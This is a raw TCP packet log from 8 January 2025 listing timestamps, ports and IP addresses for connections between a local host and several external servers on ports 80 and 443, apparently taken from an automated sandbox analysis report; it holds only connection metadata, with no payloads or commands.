Jan 8, 2025 16:18:22.934900999 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.935132980 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.935240030 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.935358047 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.935384035 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.935497046 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.935561895 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.935571909 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.935691118 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.935693979 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.935797930 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.935956001 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.935964108 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.936031103 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.936147928 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.936203957 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.936275005 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.936379910 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.936496019 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.936497927 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.936613083 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.936667919 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.936767101 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.936849117 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.936995983 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.937074900 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.937117100 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.937150955 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.937211037 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.937318087 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.937401056 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.937489033 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.937565088 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.937669039 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.937681913 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.937802076 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.937865019 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.937916040 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.938034058 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.938111067 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.938155890 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.938267946 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.938313007 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.938410997 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.938498974 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.938607931 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.938616991 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.938734055 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.938775063 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.938874006 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.938988924 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.939039946 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.939095974 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.939212084 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.939274073 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.939327955 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.939435959 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.939537048 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.939560890 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.939672947 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.939760923 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.939783096 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.939909935 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.939929962 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.940032005 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.940180063 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.940192938 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.940262079 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.940399885 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.940463066 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.940506935 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.940597057 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.940684080 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.940721035 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.940840006 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.940865993 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.940964937 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.941073895 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.941114902 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.941272974 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.941306114 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.941416025 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.941426039 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.941540956 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.941658020 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.941724062 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.941802979 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.941821098 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.941927910 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.942008018 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.942075014 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.942126036 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.942243099 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.942363977 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.942387104 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.942512035 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.942559004 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.942590952 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.942711115 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.942779064 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.942877054 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.942945957 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.943061113 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.943089008 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.943191051 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.943298101 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.943324089 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.943424940 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.943470955 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.943569899 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.943645000 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.943751097 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.943763971 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.943887949 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.943960905 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.943995953 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.944111109 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.944144011 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.944252968 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.944349051 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.944406033 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.944505930 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.944578886 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.944694996 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.944698095 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.944813967 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.944936037 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.944946051 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.945054054 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.945094109 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.945190907 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.945282936 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.945339918 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.945480108 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.945545912 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.945630074 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.945641994 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.945755959 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.945790052 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.945883989 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.945980072 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.946103096 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.946115017 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.946217060 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.946289062 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.946345091 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.946482897 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.946535110 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.946577072 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.946691036 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.946769953 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.946810961 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.946950912 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.947027922 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.947042942 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.947160959 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.947225094 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.947276115 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.947396040 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.947532892 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.947561026 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.947623968 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.947716951 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.947743893 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.947855949 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.947885990 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.947995901 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.948090076 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.948214054 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.948220968 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.948318958 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.948358059 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.948466063 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.948560953 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.948599100 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.948709965 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.948795080 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.948887110 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.948909044 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.949024916 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.949065924 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.949090958 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.949240923 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:23.002763987 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:23.227556944 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:23.227696896 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:25.419620037 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:25.637161970 CET	80	49723	94.23.158.211	192.168.11.20
Jan 8, 2025 16:18:25.637649059 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:25.639173985 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:25.857065916 CET	80	49723	94.23.158.211	192.168.11.20
Jan 8, 2025 16:18:25.858334064 CET	80	49723	94.23.158.211	192.168.11.20
Jan 8, 2025 16:18:25.858707905 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:25.979943991 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:26.199096918 CET	80	49723	94.23.158.211	192.168.11.20
Jan 8, 2025 16:18:26.199273109 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:26.322587013 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:26.541860104 CET	80	49723	94.23.158.211	192.168.11.20
Jan 8, 2025 16:18:26.542371035 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:26.651190042 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:26.893091917 CET	80	49723	94.23.158.211	192.168.11.20
Jan 8, 2025 16:18:26.893848896 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:27.073425055 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:27.461566925 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:27.477853060 CET	80	49723	94.23.158.211	192.168.11.20
Jan 8, 2025 16:18:27.478029966 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:27.851994991 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:28.053752899 CET	80	49723	94.23.158.211	192.168.11.20
Jan 8, 2025 16:18:28.054095030 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:28.093447924 CET	49724	443	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:28.093475103 CET	443	49724	57.129.37.28	192.168.11.20
Jan 8, 2025 16:18:28.093590021 CET	49724	443	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:28.129174948 CET	49724	443	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:28.129187107 CET	443	49724	57.129.37.28	192.168.11.20
Jan 8, 2025 16:18:28.587059021 CET	49724	443	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:28.617456913 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:28.630208969 CET	443	49724	57.129.37.28	192.168.11.20
Jan 8, 2025 16:18:28.796696901 CET	443	49724	57.129.37.28	192.168.11.20
Jan 8, 2025 16:18:28.796906948 CET	49724	443	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:29.205591917 CET	80	49723	94.23.158.211	192.168.11.20
Jan 8, 2025 16:18:29.205715895 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:30.132776976 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:31.648447037 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:31.681516886 CET	49725	443	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:31.681541920 CET	443	49725	57.129.37.28	192.168.11.20
Jan 8, 2025 16:18:31.682286978 CET	49725	443	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:31.707254887 CET	49725	443	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:31.707266092 CET	443	49725	57.129.37.28	192.168.11.20
Jan 8, 2025 16:18:32.325486898 CET	80	49723	94.23.158.211	192.168.11.20
Jan 8, 2025 16:18:32.325563908 CET	80	49723	94.23.158.211	192.168.11.20
Jan 8, 2025 16:18:32.326268911 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:32.326639891 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:32.326648951 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:32.327132940 CET	49726	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:33.163441896 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:33.180934906 CET	443	49725	57.129.37.28	192.168.11.20
Jan 8, 2025 16:18:33.181150913 CET	49725	443	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:33.182235956 CET	49725	443	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:33.182244062 CET	443	49725	57.129.37.28	192.168.11.20
Jan 8, 2025 16:18:33.182346106 CET	443	49725	57.129.37.28	192.168.11.20
Jan 8, 2025 16:18:33.182612896 CET	49725	443	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:33.294528008 CET	49727	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:33.319072008 CET	49725	443	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:33.335095882 CET	49726	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:33.348321915 CET	49728	80	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:33.516305923 CET	80	49727	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:33.516547918 CET	49727	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:33.516657114 CET	49727	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:33.574323893 CET	80	49728	57.129.37.28	192.168.11.20
Jan 8, 2025 16:18:33.574594975 CET	49728	80	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:33.586895943 CET	49728	80	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:33.738621950 CET	80	49727	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:33.739209890 CET	80	49727	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:33.739321947 CET	80	49727	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:33.739423990 CET	80	49727	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:33.739504099 CET	80	49727	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:33.739577055 CET	49727	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:33.739708900 CET	49727	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:33.751502991 CET	49727	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:33.813021898 CET	80	49728	57.129.37.28	192.168.11.20
Jan 8, 2025 16:18:33.814259052 CET	80	49728	57.129.37.28	192.168.11.20
Jan 8, 2025 16:18:33.814465046 CET	80	49728	57.129.37.28	192.168.11.20
Jan 8, 2025 16:18:33.814515114 CET	80	49728	57.129.37.28	192.168.11.20
Jan 8, 2025 16:18:33.814627886 CET	49728	80	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:33.820893049 CET	49728	80	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:33.973615885 CET	80	49727	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:33.973737001 CET	49727	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:34.047694921 CET	80	49728	57.129.37.28	192.168.11.20
Jan 8, 2025 16:18:34.047909021 CET	80	49728	57.129.37.28	192.168.11.20
Jan 8, 2025 16:18:34.048084021 CET	49728	80	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:34.063087940 CET	49728	80	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:34.331252098 CET	80	49728	57.129.37.28	192.168.11.20
Jan 8, 2025 16:18:34.349987984 CET	80	49728	57.129.37.28	192.168.11.20
Jan 8, 2025 16:18:34.397403002 CET	49728	80	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:34.463423967 CET	49728	80	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:34.585491896 CET	49729	443	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:34.585516930 CET	443	49729	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:34.585793018 CET	49729	443	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:34.609463930 CET	49729	443	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:34.609477043 CET	443	49729	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:34.689551115 CET	80	49728	57.129.37.28	192.168.11.20
Jan 8, 2025 16:18:34.690191031 CET	49728	80	192.168.11.20	57.129.37.28
Jan 8, 2025 16:18:34.852945089 CET	443	49729	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:34.854042053 CET	49729	443	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:34.854042053 CET	49729	443	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:34.854053020 CET	443	49729	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:34.854166031 CET	443	49729	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:34.854886055 CET	49729	443	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:34.979501009 CET	49729	443	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:35.016098976 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:35.135942936 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:35.136703014 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:35.157066107 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:35.276659966 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:35.278625965 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:35.285330057 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:35.350747108 CET	49726	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:35.406527042 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:35.406534910 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:35.407094955 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:35.423712015 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:35.583914042 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:35.687525988 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:35.740778923 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:35.777836084 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:35.777836084 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:35.785238028 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:35.897255898 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:35.897471905 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:35.904489040 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:36.035713911 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:36.053878069 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:36.054172039 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:36.074163914 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:36.078974009 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:36.079118967 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:36.080024004 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:36.083282948 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:36.116204977 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:36.162781000 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:36.194030046 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:36.202609062 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:36.217690945 CET	80	49723	94.23.158.211	192.168.11.20
Jan 8, 2025 16:18:36.218043089 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:36.357146025 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:36.357155085 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:36.357310057 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:39.365046024 CET	49726	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:42.254945993 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:44.359599113 CET	80	49677	23.51.25.216	192.168.11.20
Jan 8, 2025 16:18:44.359818935 CET	49677	80	192.168.11.20	23.51.25.216
Jan 8, 2025 16:18:45.429466009 CET	80	49723	94.23.158.211	192.168.11.20
Jan 8, 2025 16:18:45.429727077 CET	49723	80	192.168.11.20	94.23.158.211
Jan 8, 2025 16:18:46.363423109 CET	49730	80	192.168.11.20	186.233.187.24
Jan 8, 2025 16:18:46.482661009 CET	80	49730	186.233.187.24	192.168.11.20
Jan 8, 2025 16:18:46.608760118 CET	49746	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:46.608781099 CET	443	49746	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:46.608858109 CET	59980	443	192.168.11.20	204.79.197.203
Jan 8, 2025 16:18:46.608864069 CET	443	59980	204.79.197.203	192.168.11.20
Jan 8, 2025 16:18:46.608954906 CET	49746	443	192.168.11.20	204.79.197.203
